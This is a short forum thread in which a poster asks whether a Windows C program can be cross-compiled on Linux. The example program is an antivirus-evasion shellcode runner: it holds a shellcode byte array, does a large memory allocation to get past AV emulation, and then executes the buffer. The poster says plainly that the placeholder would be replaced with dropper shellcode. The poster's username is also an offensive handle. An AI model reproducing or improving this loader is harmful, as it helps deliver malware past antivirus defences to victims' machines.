Cross compiling C.

1. 2021-08-16 at 8:10 AM UTC

   #1
   

   Sophie Pedophile Tech Support
   So. I have a special C program that does some special things. It's designed for windows but doesn't make use of the Windows API. Or stuff like MAPI, or NUMA, in that case i can just compile this on Linux right? Below is an example, it's not the program in question but the same principles apply.
   
   

   
   #include <stdio.h> 
   #include <windows.h> // Realistically i could just leave this include out right?
   
   #define TOO_MUCH_MEM 100000000
   // Placeholder Shellcode
   unsigned char buf[]=
   "\xd9\xeb\xd9\x74\x24\xf4\x58\xba\x97\x9a\x82\xb2\x33\xc9\xb1"
   "\x3d\x31\x50\x17\x83\xc0\x04\x03\xc7\x89\x60\x47\x3e\x6c\xbd"
   "\x58\xbb\x62\xf0\x52\xc1\xcb\x89\xfc\x23\x3c\xdb";
   
   int main( void )
   {
       char * memdmp = NULL;
       memdmp = (char *) malloc(TOO_MUCH_MEM);
       
       if(memdmp!=NULL)
       {
           memset(memdmp,00, TOO_MUCH_MEM);
           free(memdmp);       
       }
   
       ((void (*)())buf)();
     
   return 0;
   }
   

   
   
   As you can tell it's a simple AV Bypass where in example the place holder shellcode would be exchanged for dropper shellcode. I don't really need to include `Windows.h` if i don't use anything that requires the Win32 API right?
2. 2021-08-31 at 3:06 AM UTC

   #2
   

   Sophie Pedophile Tech Support
   I guess OffSec and Exploit Dev isn't something you guys have to think about very often.